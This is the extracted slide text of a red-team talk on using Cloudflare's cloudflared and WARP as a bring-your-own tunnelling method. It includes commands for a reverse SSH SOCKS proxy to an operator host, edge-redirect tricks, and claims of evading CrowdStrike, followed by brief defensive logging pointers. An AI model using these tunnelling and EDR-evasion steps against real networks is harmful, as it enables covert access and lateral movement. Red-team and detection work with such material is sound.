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whoami
David Kennedy

➢ Position: Senior Cyber Security Consultant in JUMPSEC’s 
Adversary Simulation team

➢ Specialisation: Red and Purple team exercises
➢ Certifications: OSCP, CRTP and CRTO
➢ Blog: redteaming.org
➢ Enjoys: Red Team Infrastructure, Relaying (NTLM+Kerberos) 

and Lateral Movement from on-prem to the ‘Cloud’.



Why this topic?



Onerous Callbacks



EDR Whack A Mole



APT Usage



Access technique to pass 5 tests
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Solution 1



Hostnames and Cloudflared Modes

Hostnames

Access Mode
cloudflared.exe access rdp rdp.redteaming.org –url rdp://127.0.0.1:3389

Tunnel Mode
cloudflared.exe tunnel run token



Solution 1 in Commands

Kali: cloudflared tunnel run --token token

Client: ssh.exe -o ProxyCommand=
"cloudflared.exe access ssh --hostname %h" 
david@ssh.redteaming.org -R 1080



Solution 1 Console View



CrowdStrike Bypass



5 Test Status

Proxy Kali Tools

Ignored By CrowdStrike

Firewall Friendly

Ligolo Alternative

No Pre-Installed SSH Client5

1

2

3

4



Missing dll - Libcrypto.dll



Bring your own SSH Client success



Bring your own trusted OpenSSH



Port Forwarding



Command Line Access



Command Line Access





Solution  2: WARP to Cloudflared



WARP to Cloudflared Consoles



Failed to dial to edge













Breaks 1 of my 5 Tests

Proxy Kali Tools

Ignored By CrowdStrike

Firewall Friendly

Ligolo Alternative

No Pre-Installed SSH Client
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The Issue 



Cloudflared Code Deep Dive



The Idea Graphically



Hostname Config

Step 1: Set up a tunnel hostname entry on Cloudflare which redirects to Cloudflare’s actual servers on 7844:



The Idea In 2 Commands

cloudflared tunnel --edge 127.0.0.1:9000 --protocol http2 run –token YourToken

cloudflared access tcp --hostname cfredirect.redteaming.org --url 127.0.0.1:9000
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Fingers Crossed - Double Tunnel





Recap

Techniques Covered BYOTB Notes

1. native ssh + cloudflared 

access

Not entirely Need ssh installed

2. imported ssh + cloudflared 

access

Yes Need proxychains + ssh

3. warp + cloudflared tunnel Yes No ssh, no proxychains but 

need port 7844 outbound.

4. warp + cloudflared tunnel + 

cloudflared access

Yes No ssh, no proxychains or 

port 7844 outbound 

required.



Defensive Side

Process Telemetry

DNS Logging

Firewall Logging

File Monitoring



Thank you

David Kennedy
linkedin.com/in/davidsprofile

redteaming.org
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